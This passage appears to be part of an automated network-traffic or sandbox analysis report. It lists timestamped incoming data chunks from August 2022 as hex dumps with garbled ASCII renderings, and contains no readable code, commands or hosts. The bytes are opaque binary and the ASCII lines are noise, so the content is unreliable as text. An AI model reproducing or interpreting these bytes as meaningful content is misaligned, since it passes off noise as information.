37 63 e4 17 8a 36 2f 3e c1 f4 86 b1 07 59 c6 6b b6 70 69 63 3e 98 d7 bd 02 32 22 91 60 76 af 1d fd 20 57 b0 e1 6e 05 89 
46 27 c1 98 e4 ef 05 6b 18 ef b1 bc 01 1c af d4 c2 6f 25 cf 38 67 82 31 0d ac eb 94 be 65 de a9 d3 95 c2 40 09 69 f2 91 
7c 48 ce 21 f1 8e 91 8e 04 26 37 fd ac 01 13 a7 fd c4 20 8d 89 0b 24 b6 43 f7 48 59 78 ba ec 83 71 f3 d3 0a 1d 56 da 88 
eb 6b c4 c7 cf f0 56 35 d8 f0 91 b6 88 ac 7e 3b 20 ee c0 23 23 75 70 f0 e1 f8 ac 13 4f cc 70 99 1f 0a b8 bb fb 70 e6 1c e6 
37 d8 3d 86 e7 3f 6d 2a 72 1e cc 55 d9 09 cc c7 95 c5 f8 ab ac 3d 3e a5 5f f1 a3 29 f3 34 92 76 74 c1 9e c4 8b 52 74 d1 
c1 18 70 14 4e d9 2f e2 b3 51 d1 42 9d 93 90 ec 2f 79 
Data Ascii: vTWe-@j#7c6/>Ykpic>2"`v WnF'ko%8g1e@i|H!&7 $CHYxqVkV5~; ##upOpp7=?m*rU=>_)4vtRtpN/QB/y

2022-08-11 03:43:09 UTC 13767 IN Data Raw: af 2a 38 6c 80 84 7d 07 73 59 12 20 0c 9a e3 30 01 98 31 5d 47 a9 fc 8c 20 da bc 06 ae 53 49 ac 36 68 02 e1 
be 14 ef 31 4e 8a 4b e1 88 35 ec f2 c5 97 30 48 05 67 f8 4b a3 a8 4a 8d 84 df 24 95 ca dd 24 71 34 0b 08 2d 14 d9 77 b9 
0c c6 a1 05 b9 ef 51 ff 34 8e a4 7b ac be 53 1e 70 a7 f1 2a 4e a7 cb d6 2b b3 c2 28 59 d3 97 96 39 54 40 da b8 bc 07 6d 
86 0f a8 9e 9e c2 8c b2 dc 83 03 eb 1d f3 cd 06 76 94 e5 ee 83 05 07 9d 78 c4 60 14 70 9f c3 62 be 68 07 dc 2d 3c 2c 33 
ff e8 9e 5d d8 b4 ec 66 d7 40 79 63 55 ba 27 8d 9e 64 15 93 0c 07 7e 09 c3 06 c4 0e 49 46 ae 45 82 96 a0 5a ca be dc 
00 96 94 c1 0c f7 10 70 7f 11 a3 05 65 c0 9d ae bd d3 b5 f6 1d ec de da c1 1b 18 28 c2 80 fb 5f b8 47 43 dd e3 70 7b 38 
7b cf 0e 6e 7c e7 86 fe 4b 7a e1 22 1c bc 85 c7 be d2 ac c4 
Data Ascii: *8l}sY 01]G SI6h1NK50HgKJ$$q4-wQ4{Sp*N+(Y9T@mvx`pbh-<,3]f@ycU'd~IFEZpe(_GCp{8{n|Kz"

2022-08-11 03:43:10 UTC 13992 IN Data Raw: 93 fe e2 56 20 38 e9 8a c7 5a 23 c4 c4 a0 89 4e 01 ad 85 9d e9 9a d4 a9 a9 bb c2 60 4a 16 4a 83 51 d6 dc e9 
a7 41 83 b4 39 2e 86 e9 c7 ec 92 c8 a1 4d 37 62 78 b5 13 33 db e7 67 67 ae a6 62 b8 e2 be db d1 23 a9 bb cb 2b d8 6f 
b3 47 8c 24 7f ab b6 0c d9 e7 d5 47 ab a3 83 9b 51 65 14 7f a1 5e f6 a5 64 96 18 68 9f b9 72 32 84 bf e7 7f 0c b8 93 bd 
54 6c 95 66 ef 39 7c a3 60 ed e0 1d 81 ee 96 80 8d 69 06 4d 75 58 15 61 27 0d e2 b4 da fc 2a 12 93 07 50 67 88 da bd 
c5 ff ea 28 cf 06 4e 82 55 9c 2a 17 d4 23 c3 a3 0d df c9 2f 39 79 8f 1f 74 57 10 68 7d 1d 64 46 73 97 55 9e 69 3a ea ca 
cb 2d a3 07 af 77 6c e1 2c b1 57 53 77 08 83 25 ed 85 1a 18 5c 10 a9 2d f7 f6 53 00 dc b6 4e 12 58 66 0e 6a 6e 9b 55 e7 
b5 48 ac f8 ef 16 fd ad d9 a8 29 2b 1c c1 3b 04 ae 1e 90 03 0e 
Data Ascii: V 8Z#N`JJQA9.M7bx3ggb#+oG$GQe^dhr2Tlf9|`iMuXa'*Pg(NU*#/9ytWh}dFsUi:-wl,WSw%\-SNXfjnUH)+;

2022-08-11 03:43:10 UTC 14008 IN Data Raw: f0 cb b8 34 5d 2b e3 63 34 28 22 92 f7 68 a7 03 ed 9a ed 2d b0 cb a1 28 18 e9 ae ed f9 af 05 24 63 f8 78 9f bb 
1b ff 42 41 e7 9a cf 54 78 c2 c1 73 f0 46 80 61 d7 66 c0 30 1c 5a c7 2a fc 52 56 63 0a 4e 8b 6e 85 c6 fc c6 d2 cf a7 92 25 
2d a1 74 7b b7 4f 0f a8 da 9b bb f4 48 e2 84 92 88 28 91 88 de 71 0a 1e 70 65 e6 ae 02 ee 3a c3 fd 04 66 b8 37 0d b8 b3 
57 95 e4 8a 9a 63 71 91 bf 3e 2b 81 8d 3a 19 6e 10 24 68 84 cc 68 db 41 9d 12 bf da c6 3f 84 8f 73 b8 23 38 d8 87 3a a7 
12 e8 a6 9d 8d 4c 85 fd 15 81 ea aa 45 b5 17 05 af 1d df c2 73 80 c3 cf dd 49 52 1b b7 28 8a 39 85 57 00 6f 04 e6 2c 75 
63 f2 94 07 cd 23 f2 18 65 7d 32 f2 1f 69 f5 7c c5 84 e0 3a 5f d5 5a 85 34 b6 08 d5 01 ac ed 69 38 fb e2 8d 17 34 a8 d5 
04 8f af 5f ce 71 a8 0b 1d 43 c4 28 3e da 9f cd d8 
Data Ascii: 4]+c4("h-($cxBATxsFaf0Z*RVcNn%-t{OH(qpe:f7Wcq>+:n$hhA?s#8:LEsIR(9Wo,uc#e}2i|:_Z4i84_qC(>

2022-08-11 03:43:10 UTC 14024 IN Data Raw: 16 d4 c3 40 38 3e 55 89 19 a9 c3 4a 13 70 37 72 69 32 e3 d1 4f c0 80 f3 c2 3c cc 1f d8 07 0b c7 8f 41 7f cf 1e 
92 97 e1 ea 2a 0c 2e 5c 24 dd 38 5c be a0 0e 10 29 43 04 83 ee 78 d8 ef 0a 79 75 70 8a df d1 21 85 3e 70 ec 1f dc 0f 3b 
6e be 11 f0 5f 93 e5 8f 87 b3 1b 5f 9f 22 3e 0e 2f 5c 54 f0 ea 12 5c d4 86 6e b3 cd d9 12 6b 34 15 d5 81 37 27 93 c6 3e 
1b 25 ea 06 bc 9d 45 ce c4 2b b4 4a f7 57 28 1d 74 ab ec 7f a4 61 ef e0 7e 58 38 b8 9f f8 42 37 7b cc 01 ff 04 e9 72 85 ec 
11 da db f1 c6 06 c9 84 5d 2b 9e 2c 31 b7 27 42 59 33 07 b1 b1 85 62 7d 12 a7 34 8f fb 50 95 39 a0 b6 2a 5d d3 c1 8c e7 
de 04 08 77 20 e6 ef e8 ce 24 a2 20 b5 6d 32 be 32 75 d7 49 03 24 b3 ee a1 82 e7 53 a9 f1 b6 3d e8 1e 88 69 52 35 67 fc 
d7 54 ec c4 8e 5b 68 32 7c 78 a6 ea 2c b0 3a 55 13 
Data Ascii: @8>UJp7ri2O<A*.\$8\)Cxyup!>p;n__">/\T\nk47'>%E+JW(ta~X8B7{r]+,1'BY3b}4P9*]w $ m22uI$S=iR
5gT[h2|x,:U

2022-08-11 03:43:10 UTC 14040 IN Data Raw: 88 eb 99 31 8f aa 1e 6b 4a 9f 4d 0e 20 e1 45 49 33 4d 1e 65 b7 11 46 22 48 93 52 9a f0 b6 d7 cf 12 54 72 fc 
59 08 b8 1f da 47 63 79 02 ee 5e af 91 70 d2 2a 98 e4 f4 8c 24 26 26 24 15 8e aa 67 2a c1 fe 1a 00 77 7d b2 e5 e0 8a bc 
0f e5 c8 16 d8 37 48 50 bb ba bb c5 d5 d6 c2 35 c5 ca 06 a2 32 2d fc f8 a9 01 dc ef 29 e0 8e 24 10 63 bd 05 2e 72 0f 12 
d5 ef f7 ab 5e 1f 2a 5d b2 9a b5 c0 5e a3 d8 f9 a9 da 58 9f d3 83 79 b8 69 ee f3 d5 f2 2c 79 ed 2a 76 40 5b f5 c5 ca f6 58 
e1 9d f2 ee 52 f6 97 eb f9 22 2a 5d ab f8 ef 8b 9d b3 7e ab 01 77 2b 7f 96 37 fe 8a 30 df cb 74 c7 97 6a a0 9a 0b 4a 66 9f 
b1 c4 b8 2c fc 71 25 c0 64 75 43 a0 c4 06 91 3b ea 9c df ad 76 d3 b8 6e 0f 55 62 00 97 b9 fe aa fa ab 12 f0 93 1b f7 57 75 
83 82 07 2e 73 bf c2 dc 46 a5 db 65 2f 55 06 9c 
Data Ascii: 1kJM EI3MeF"HRTrYGcy^p*$&&$g*w}7HP52-)$c.r^*]^Xyi,y*v@[XR"*]~w+70tjJf,q%duC;vnUbWu.sFe/U

2022-08-11 03:43:10 UTC 14056 IN Data Raw: 25 17 f6 e5 ea cc ec 3e 3d e7 b3 cb 28 5b 15 11 a4 1c 68 55 a9 13 72 be bb e6 b6 16 b9 d7 0a 80 3d f7 33 65 
c0 f6 62 8f 5d 69 fc 57 0b 48 16 03 e2 8b cd 81 32 af ae 52 af 7e f5 fb 75 ea 81 17 31 26 d7 e9 d1 d6 7c 99 2c e0 9e dd 
08 2d ef f7 71 9e 25 21 e5 b7 17 70 cf 6b 3f 64 48 59 f5 0d b9 55 28 5c 34 4a 7d 7d 9d c4 82 61 99 7b 36 a5 a6 a9 45 19 
ee a5 32 60 eb fc e2 0b c1 f2 5a 37 bd 65 c1 f6 b5 c6 df d5 2c 64 a5 16 f7 1a d7 d3 15 49 d9 bc a0 c7 42 f8 d2 51 dd 18 
12 82 09 98 9c 9a e2 a1 0b 52 21 1b bf ff 5d 4a b9 60 10 80 9d 0a 10 79 1e 26 91 1f 9e 95 99 f3 57 24 35 32 21 75 90 39 
a1 d9 5b 82 80 7d db c9 c3 32 f8 97 7f 22 fe fd bb 14 c4 06 4b 39 16 93 d0 f5 3b 32 f5 fe 19 99 bf fb 80 c0 04 18 e9 04 5b 
72 d9 e8 a4 84 a9 51 1d 00 68 00 82 00 2e 20 9b 82 c3 
Data Ascii: %>=([hUr=3eb]iWH2R~u1&|,-q%!pk?dHYU(\4J}}a{6E2`Z7e,dIBQR!]J`y&W$52!u9[}2"K9;2[rQh. 

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:10 UTC 14072 IN Data Raw: dc 0d 80 6b be 28 bf 9e 16 bc a0 26 53 04 7e 08 b8 77 6d 92 be ff f6 67 d4 c0 27 e0 8e 2c 06 7c 46 83 c1 69 
96 9f d6 7a 4d 4f 93 15 93 d4 bc 72 1b ff 9d 61 b2 30 38 86 e0 03 00 29 0d ea 1a a9 fa 30 5e 9c bb 36 2c 33 1f 5d e0 b8 
af a4 a6 2d cc 74 75 ca 7b 91 b9 a7 aa 0a d0 2e a5 c0 b1 aa 2a a9 d9 d4 29 2d 00 dc df 38 2e 75 1a 70 07 40 80 fe 9b 3d 
3f 28 cf fe f6 7b 94 53 a0 b4 8b bb 4e 05 6a c1 0a 4e 26 a4 6e 5b 8f 34 9f 3e 26 f5 7d 5b a5 ca 55 c3 b6 52 e9 f5 55 0c 46 
f8 6f df 17 df d5 61 89 4e 4c 29 d6 7f 55 95 02 e3 00 b8 83 59 0f f9 97 e3 87 15 53 91 80 bb 8d 7a dd de 33 97 65 14 80 fb 
d3 51 05 b8 53 52 61 65 30 21 7d 16 e2 86 06 19 8a 4a 25 23 01 d0 ce 6e a3 19 22 4c 1e 19 ac 00 e0 a5 4d 04 93 be 00 
65 0e 18 a8 81 94 06 6f 8f 60 0b db 05 72 1f 9e 7d bb 
Data Ascii: k(&S~wmg',|FizMOra08)0^6,3]-tu{.*)-8.up@=?({SNjN&n[4>&}[URUFoaNL)UYSz3eQSRae0!}J%#n"LMeo`r}

2022-08-11 03:43:10 UTC 14088 IN Data Raw: f4 ce 56 e0 96 51 8c 63 06 f3 f0 99 c5 70 1f c8 3c 01 f7 7f 28 87 bf fa 94 8a 21 db eb cb 60 63 43 56 de fb 48 ce 
7d e7 7b 72 09 e1 2e ce 9f 97 e1 68 48 78 27 6a cb fb c2 99 ea ee b7 11 91 07 e0 2a 92 ff de 73 8f dc f9 37 ff ba 1c ff e6 
f3 32 8f 90 3a b3 73 04 bc 36 57 6e ca f2 db ef ca e5 1f bd 24 37 5f 7f 47 b6 09 8c 01 70 07 40 ad 64 45 01 ee a6 51 25 13 
78 52 cf 64 c0 fd 1e e7 8f 63 69 b5 55 c8 18 5c b2 e0 df 29 00 33 0b 32 73 fc 30 c1 76 84 93 d8 7f ef 3d b2 70 fb 49 3e a1 
27 78 42 67 f6 1d 19 ac af cb d6 d5 65 82 cc f8 99 42 f2 d1 23 87 94 47 b7 4e 0e 8a fe 7a d7 6f c8 ea 67 67 65 f5 bd 8f e9 
e9 bb f9 e9 39 e9 2d df a0 37 2f d7 74 e6 11 a9 12 bf 76 66 71 89 05 5a ba 2a 8c 01 7e 71 91 63 5e 0e 10 e4 cf 9c 97 f5 
3d 93 ba ac 03 38 42 cf e4 56 8b c9 38 
Data Ascii: VQcp<(!`cCVH}{r.hHx'j*s72:s6Wn$7_Gp@dEQ%xRdciU\)32s0v=pI>'xBgeB#GNzogge9-7/tvfqZ*~qc^=8BV8

2022-08-11 03:43:10 UTC 14104 IN Data Raw: dd e9 41 d9 ba ca b7 c7 5b 67 c2 8c 0d e9 b8 51 45 c2 7d 13 9b 3d e7 72 da f2 0a 89 c7 80 a1 c0 9a c1 c6 24 
d2 28 5f 7d b8 75 3c 99 bd cd 54 1c a2 97 82 c2 06 60 35 ea d5 bd 06 28 31 d6 95 06 6a b2 09 8c ed 38 63 2a 54 d7 c5 
41 18 ac 6e ec 35 ae c0 8d 71 88 0c 87 a7 65 76 ac c7 59 3b 3c 13 ee 3c 47 c6 12 33 3c 32 6d 50 7d 15 b3 69 e3 05 ea 
7d 81 e1 3c cc 48 52 4c 45 5e 27 81 ee a1 4d 2f 26 7f 9a a6 82 b3 81 cb 0e 5f 3b c6 4b 9b cb c1 79 87 80 76 1b 1e 0a 6c 
45 6d 7b 95 a6 4a 6f 6e ea 51 89 83 44 58 26 cb 8a 72 62 ec e6 86 5d e3 a9 68 e5 21 4f 08 70 4f d9 2b 6d db 31 33 24 3
3 4f e0 bc 4e 63 78 04 5e 9c f8 74 a3 dd 5b 68 37 4e 9d 25 4d 55 40 be f2 62 e8 89 fb 99 a0 b2 83 3a 95 63 b7 30 2f 77 2
8 e6 3b 6f 08 a7 92 f1 19 f9 32 c0 a8 47 28 92 b9 43 12 d5 65 11 
Data Ascii: A[gQE}=r$(_}u<T`5(1j8c*TAn5qevY;<<G3<2mP}i}<HRLE^'M/&_;KyvlEm{JonQDX&rb]h!OpO+m13$3ONcx^
t[h7N%MU@b:c0/w(;o2G(Ce

2022-08-11 03:43:10 UTC 14120 IN Data Raw: d8 97 f2 4b ed ac b7 2b 64 eb 54 92 48 73 5e de 7a 2c 85 5e 46 12 80 52 d6 47 7a 4e be 7c 20 2d 4c 8b 24 6a 
64 4f 80 a6 44 bc ff 80 ed 37 ff 84 d7 df fc 23 9e 1d df e0 b6 3a 22 8d 6a 01 6f 14 4d 4f 82 48 ee a4 62 fd 0d f6 6f 1f f1 20 
80 fb f1 e3 67 b8 db 99 ec 26 63 f7 5b 9b dd ce 91 bd 02 18 7c 49 1d 1d 4f a6 bd 28 5e 0a 84 bb fa 64 47 4a 06 f5 33 1b 
df 6e 71 5d e0 d9 27 c0 7d a9 ed 0a fa 0d 76 cf f3 a2 c1 10 3f e7 2e 33 ea 78 1d a9 7a c3 e3 70 9e 97 4f ae 11 98 ec bf 6f 
c8 7c ca b3 9e bf 04 70 77 2d e5 f2 99 b3 43 2e a1 c6 94 7a fa 3c 58 0f be 3e 5f bc e1 39 df ce 85 ad f5 e6 88 95 2d 80 
ea df 70 2f 36 6a 9c 73 c7 bb 2b ef 6a c1 57 d9 d2 29 62 d3 16 98 00 d8 31 28 2e e3 18 f8 be d0 a1 5c 2a a9 2b de 75 6f 
d6 2e d0 d5 9c 40 6d c1 a6 fc a3 02 2f 17 a8 c1 
Data Ascii: K+dTHs^z,^FRGzN| -L$jdOD7#:"joMOHbo g&c[|IO(^dGJ3nq]'}v?.3xzpOo|pw-C.z<X>_9-p/6js+jW)b1(
.\*+uo.@m/

2022-08-11 03:43:10 UTC 14136 IN Data Raw: 57 01 ee b1 e2 45 27 e0 2e 5c ec 9a ab bd 55 60 79 cf 75 eb 58 57 f0 1c 39 4d 7a ea 13 d7 7e 02 cf c2 d3 ce 
4b 46 35 1d 0c 1f 21 0f ba 30 15 49 26 bd 4a 24 91 97 04 06 bb b0 86 41 fa 24 97 a5 2a e0 5f 32 ef 85 5e 46 8d 37 81 7c 
89 33 44 66 a0 28 1b ec 77 05 7e ff 66 87 fc 50 a2 2a 73 e4 c7 1c c7 b2 92 ac 74 41 fb 63 f5 32 41 5d a4 da 08 e0 2e 59 
fe 20 f5 4d 86 e7 77 19 9e dd 26 b8 bd 59 61 c5 44 24 d2 ca b4 ad c8 c8 bc 9e 6c 45 50 3d 41 d1 f0 84 6a 83 03 e3 fc a6 
96 4c fe 75 c6 e4 1f 4e d5 06 65 45 00 5d 9d 12 10 ba 4e 1d f4 9a 4b 65 3b 1a 4b 7d 61 2c 5f 24 50 8d a2 e7 98 f2 d5 c8 
09 c2 4b 76 4a 22 d4 8d f5 b1 46 5b 8d 00 ee 7a eb e1 b4 c8 de 5e c5 2e 71 b6 59 b3 8c d0 6c 66 58 3e 08 93 32 85 86 
08 c1 9c 89 d5 9d 51 b1 8e 0a 58 02 8f cd 91 20 f9 c6 dd 7e 
Data Ascii: WE'.\U`yuXW9Mz~KF5!0I&J$A$*_2^F7|3Df(w~fP*stAc2A].Y Mw&YaD$lEP=AjLuNeE]NKe;K}a,_$PKvJ"F[
z^.qYlfX>2QX ~

2022-08-11 03:43:10 UTC 14152 IN Data Raw: e3 c9 8f ff 0b 16 6f bd 0d 5c 9c c3 75 08 1e d9 40 aa 07 32 b2 0e 9b a8 76 7f 6b ae c6 27 5d af 1f 7d 0c ee d9 
d4 a3 4f 49 ea 9e 69 35 07 45 5f f5 35 3b 7f ef 74 d2 b9 6b e9 7a bc 37 a4 79 fb da 7e 43 b6 16 70 7f 46 1c 2b 53 8a 36 
87 b7 a9 a0 d6 cd c8 0d 63 3d c3 2a 0b 71 7e 74 0a 7c ed 3a ee fc 7a 80 eb 37 32 8c 08 50 26 01 b2 38 50 4c 9a c0 28 
93 24 a8 cd b5 56 02 95 12 70 e7 b8 9e 08 83 5c c0 ec 9c 40 7c 22 ec 72 2c e6 a2 cf ee 3c fe 18 78 7a 1f 98 3f 11 a0 dd 
c9 13 38 64 83 87 47 c8 a7 37 90 9f de 05 66 67 2a cf 52 e8 6d a8 1e b4 02 ea 9c 13 42 03 a8 8b 27 a0 9a e9 42 31 36 
b0 a7 e7 a8 b4 0b 27 0f 1e 04 44 2b 65 b7 5b d2 05 59 c3 f2 ab 11 e5 29 8d 51 d8 2d 19 f8 f0 95 d1 2c 80 bb b2 ee 1d a6 
23 12 31 04 de 17 ca 88 97 a0 ad 73 45 49 29 07 33 9a 89 5e 
Data Ascii: o\u@2vk']}OIi5E_5;tkz7y~CpF+S6c=*q~t|:z72P&8PL($Vp\@|"r,<xz?8dG7fg*RmB'B16'D+e[Y)Q-,#1sEI)3^

2022-08-11 03:43:10 UTC 14168 IN Data Raw: 3b c5 82 39 d0 6f 82 df eb a9 be 20 9f dd bf 95 32 db 65 2b a0 ee ea c6 3c 59 a4 58 8f ef 6c e7 d2 98 af d9 bc 
6d c0 ff 5d 4c 9a 2a 38 5c d7 98 d5 0d fb 06 68 bc e7 22 5d b1 8f ba bd 5b 51 a4 ba bd aa f9 72 fd 95 fe a5 57 65 ca 9b 
ed cd 72 56 1d 81 5e 36 d4 d6 0e 5d 09 34 b5 f3 2e 60 48 99 d4 63 f2 d5 da 6d 6e ec 0b 0d f7 b2 5d 6c d9 c3 70 2b b6 6f 
14 c9 36 d4 7d 50 ca 65 dc 69 2f 93 da eb e5 ae 5e dc fa 7e 57 86 7b 53 46 57 0a 7e ee d3 34 3b da 69 b9 9e 45 12 75 
13 e0 ae 65 bb aa b9 a9 ae 3c 2d 06 dd dc 3c 26 a1 5d eb 67 77 29 e5 86 b4 de 53 dd da d5 36 e8 5a ca 70 a5 76 d7 68 
ec 83 87 db e6 0b 57 09 ba d7 b5 7b df e2 1a 87 b8 8e e1 2e 5a 86 51 84 74 b1 44 c6 ab c8 e2 f4 75 1b c7 d6 13 3d 5d 
29 5d 0c 2b 6f f7 c9 b3 01 70 d7 65 66 0d 30 09 d3 ca ac 29 e1 
Data Ascii: ;9o 2e+<YXlm]L*8\h"][QrWerV^6]4.`Hcmn]lp+o6}Pei/^~W{SFW~4;iEue<-<&]gw)S6ZpvhW{.ZQtDu=])]+opef0)

2022-08-11 03:43:10 UTC 14184 IN Data Raw: 5f df 16 b5 3d 25 07 80 d6 19 57 db be 5f d3 c6 f5 8c 9b f6 8e 99 ea 4b 3e 99 65 b3 63 c5 40 09 01 4d f1 c4 56 
76 48 0d 44 a8 bd 2b ae aa f5 bb b8 1e 2e 15 d4 d7 43 cc e2 d9 ad 7b ff f6 96 df f0 84 0e fe a5 7a af 6b 40 ef b7 7a 3f 6d 
03 db 3d f7 e0 fd 4b d8 58 23 83 7b 03 b2 57 39 44 82 aa 86 c6 e1 46 a3 4e 5b 78 af 76 ae bd 54 f5 df 65 5f df da 3e a8 
92 d8 a3 00 fe ca e5 15 e7 4a 83 62 43 59 6b 92 32 f5 27 f7 a8 c3 62 78 5c e1 e5 a6 d5 0d b3 08 87 d3 ae 59 37 1a af eb 
0b b5 6a 65 91 31 b8 6b 39 9a d6 bb 3e 07 9b bc b7 4b 59 6a 53 73 6b 3d b6 3e b0 a5 80 57 28 db ca 94 83 f4 dc 34 aa 
96 c1 ab 96 b5 49 5b 57 fd b3 cb c3 db da 68 cb 7e b3 6f 56 97 06 af b6 94 00 ee bd 1e a2 b6 07 4d 55 9a 4a 31 9b 62 3e 
1c a1 24 f3 d1 81 b7 bd 17 dc cb 58 fd a5 79 e3 1d 17 
Data Ascii: _=%W_K>ec@MVvHD+.C{zk@z?m=KX#{W9DFN[xvTe_>JbCYk2'bx\Y7je1k9>KYjSsk=>W(4I[Wh~oV
MUJ1b>$Xy

2022-08-11 03:43:10 UTC 14200 IN Data Raw: 67 6f 51 5c 5e 0a 74 9f 0d 33 fd cc 87 99 00 78 25 35 4d 24 a4 34 3d 6e 60 82 ac 1d 00 42 af ac 4d 4b ca fc 3c 
6e a3 ff fd 3d 3c 78 da 47 b3 db 93 5c 5b 49 67 15 eb 49 40 be c3 3e ea 22 9b 8d 91 bd f9 15 f0 ee 4b 6b 96 a3 13 03 b3 
09 74 f3 5a 3a f1 75 8f 03 bd 62 58 db 5a 2c 90 96 ec 54 82 a6 04 dc e9 5c 55 54 8c bc 0c 2e 5f 97 5b ce 05 46 df 31 52 
20 a8 c5 f1 3c bd d4 11 44 4a ff f8 33 24 39 c4 b1 4b d0 9b 7d 2e 49 20 6e 06 19 2a b2 c4 f7 4f 80 bd 13 cd d1 ea cb 9f a2 
f8 ec 2f 51 32 ba ef e8 11 1a 8f 9f 23 df 3f 30 ed 68 96 5d f9 01 d8 e0 94 1f 31 e7 9d e4 56 1c b8 5d 9a c2 b5 1d e0 89 4a 
13 2d 75 b3 af 2c 91 ab 00 77 e6 17 68 b7 ad 7c dc bd 62 7f 92 dd 35 47 ce 6b 8b 29 4a b6 91 34 e0 3d a1 a9 00 73 26 
91 e4 f7 1c 10 95 39 79 08 ba 0b c4 4c bd 33 74 30 
Data Ascii: goQ\^t3x%5M$4=n`BMK<n=<xG\[IgI@>"KktZ:ubXZ,T\UT._[F1R <DJ3$9K}.I n*O/Q2#?0h]1V]J-u,wh|b5
Gk)J4=s&9yL3t0

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:10 UTC 14216 IN Data Raw: 07 dc e7 33 94 a0 33 61 0f 59 63 df 12 ca 36 3a 98 67 0d 8c 67 25 c6 63 4a 8b 98 24 50 0a b8 07 10 2c 50 57 
b6 0e 9d b6 4c f0 6e 3b 98 05 24 2e 72 ba 50 67 5d 49 68 4b ca a2 d8 7e aa 40 22 3a 31 9d f5 be b4 ad 84 cf b7 76 fc d9 
ee a9 e4 aa 89 ed 67 a0 bb 0d b3 5a 36 de cd 0c 7d e6 e9 21 6a b3 23 d9 0e 23 df bc 80 ed 15 33 81 65 34 10 de 12 a7 
92 c9 ee 5b bc 1c 00 7c 2e df 2d 76 7e 96 89 d5 3e 9a 4a 55 0b 8d 46 85 1e 55 92 b8 4c 78 f7 46 1a 10 01 d8 c2 b9 dc 
3e 58 f0 14 6c 3e cb ce c8 ed 5d 02 dc 4b 14 f3 4a b2 2f 96 c0 34 43 b3 dd 94 8c 8c 69 b0 93 ed 4e 26 ba b1 d4 e5 e4 d5 
10 72 3b 54 76 60 9a 14 d6 35 f8 1d 58 67 df 51 9f bd 41 c7 17 9f c3 08 4a 39 80 6c 0e d0 a1 12 f9 04 38 76 cd a4 b3 79 
c6 a6 e5 b5 b3 c9 1c c5 84 f3 b7 da 02 b8 c7 21 29 3d a0 6d 03 
Data Ascii: 33aYc6:gg%cJ$P,PWLn;$.rPg]IhK~@":1vgZ6}!j##3e4[|.-v~>JUFULxF>Xl>]KJ/4CiN&r;Tv`5XgQAJ9l8vy!)=m

2022-08-11 03:43:10 UTC 14232 IN Data Raw: 2c 75 6d 17 b0 35 77 00 89 89 1f 91 7e 91 a3 5b f2 46 0b 00 7a e6 3d f6 b6 55 25 47 f4 f4 fc ca ae ce ae 6c 31 
ab 37 00 ee b1 c7 5e 39 56 7c 08 a6 7e 70 41 ef 30 b2 09 78 bd cf c1 69 dd 7b 3e ea 67 32 d9 f5 6f 5c dd 60 f6 0f 35 f7 00 
db d7 61 22 fd fd f4 6a 29 36 35 67 ff 18 db 2f f8 a6 b3 b7 8f ca b8 72 db 3e 5a d7 24 eb ee dd d0 74 8f d2 85 1b ca fc 83 
03 2f f7 a9 dc a6 ce 59 69 bf 6b cc 9c de 7b 1e 1b 6c 6f 8f 62 4f 05 ba 3f 35 78 77 53 1f 3c d2 bb 1f 05 70 6f e7 db a7 1c 
28 6b 1a e3 01 af 5b 05 dd 9f 7c bc 3d a0 ac 1f d4 fc 1e 7d 1f eb 7c fb a8 b6 38 8f 59 ae 6e c0 dd 67 f6 b8 7e cf ba 72 39 
59 f4 fa 52 b6 66 be be b1 79 ee d1 76 5b 55 26 36 90 ba b6 ff ef 4d 37 6f 68 f7 27 b7 c3 db 2a f3 18 f6 b0 da c6 b9 39 14 
3b d1 01 77 81 94 11 4a c9 46 af 9e 4d 
Data Ascii: ,um5w~[Fz=U%Gl17^9V|~pA0xi{>g2o\`5a"j)65g/r>Z$t/Yik{lobO?5xwS<po(k[|=}|8Yng~r9YRfyv[U&6M
7oh'*9;wJFM

2022-08-11 03:43:10 UTC 14248 IN Data Raw: 8f 07 de 6e e8 e9 63 d3 38 0a 68 07 80 56 d8 d2 99 e8 12 0a 79 80 a1 aa 4b b2 b2 05 32 7b 54 85 b3 91 c9 
97 1a 32 40 8a 1a f1 71 02 18 06 50 05 93 13 99 99 81 74 fa 97 66 d3 4b 67 9d e3 f4 22 01 27 c9 39 05 64 76 89 a2 dd e7 
44 ff c0 4e c7 a1 72 26 d4 ad ae 76 fc 87 2a 02 da cb 46 70 24 d4 56 95 80 ab 63 2b f6 8e ad 7e fe 99 35 ac 19 94 5f ec 
76 da ce a5 3b 84 64 c1 72 97 6c 09 f5 85 e5 be b4 02 b9 22 92 af d2 77 94 07 30 5b 11 08 d1 7e e4 09 11 60 ef d2 3e 02 
dc d3 29 92 89 54 b9 76 8a f4 11 f2 2b 13 47 02 a9 23 a0 7b 01 40 df b3 0b f5 6b 38 f7 60 68 2b c1 aa b7 81 3b f7 1a 31 
c8 d3 f1 e0 51 00 3e cf 0b 0b 04 d4 c6 81 84 f3 04 83 a3 6c 72 0e 0d d4 c6 76 81 d6 fd 55 d4 85 67 e3 84 89 31 cc 73 c2 
d1 26 9b ca be 94 76 3a cf 3d 56 82 dd 66 be 34 3b 7b 6b c5 
Data Ascii: nc8hVyK2{T2@qPtfKg"'9dvDNr&v*Fp$Vc+~5_v;drl"w0[~`>)Tv+G#{@k8`h+;1Q>lrvUg1s&v:=Vf4;{k

2022-08-11 03:43:10 UTC 14265 IN Data Raw: ea f3 a6 c0 76 1f 1c de c2 a0 bb 2e 60 77 51 7d df e2 fd d3 c2 97 a2 c2 d7 02 dc 5d e1 17 bd cd cd 7d 7e 83 8f 
7a eb 63 ed ba 65 bf e1 7a 7e a3 38 bf 0f e5 4b 65 48 43 f8 74 99 ce 0a 8e 9f fe fd 45 80 fb 75 fb ed ba 72 9d 55 7f 6b ca 
b6 f1 80 e8 a4 64 6e fc 9d eb 5c 78 ee 3b a4 c3 99 25 05 c8 c6 c9 a9 3b 1d 87 19 01 ee 73 9a f3 84 a4 cc 9a 72 6c d4 c5 
ce 63 b8 c7 0d da 2a dd e8 86 9d 82 e8 fa d8 b8 8b b1 79 c6 fc 75 03 80 fb 1b 45 7b a3 ef 6e b8 4e 9d 1e 13 dd 7a 4d b7 
08 86 bb c0 13 1e 4c c4 70 2f 51 cf 56 0c 77 01 ee 27 36 1b f1 8f d3 f3 4a 1a 3b ed 0b c4 5f d2 b9 ed 74 95 b5 d7 9d 04 
d4 7d db 38 fd e8 3f 6f 3e ff 0d c0 5d 45 5a 1d ac d2 d7 05 d4 b4 ff 90 de 86 40 45 9d 93 08 62 08 40 21 68 c3 83 3e 75 
dc 3b 80 7b 75 0f 55 3d 08 c3 aa 60 fd a9 ed 13 38 
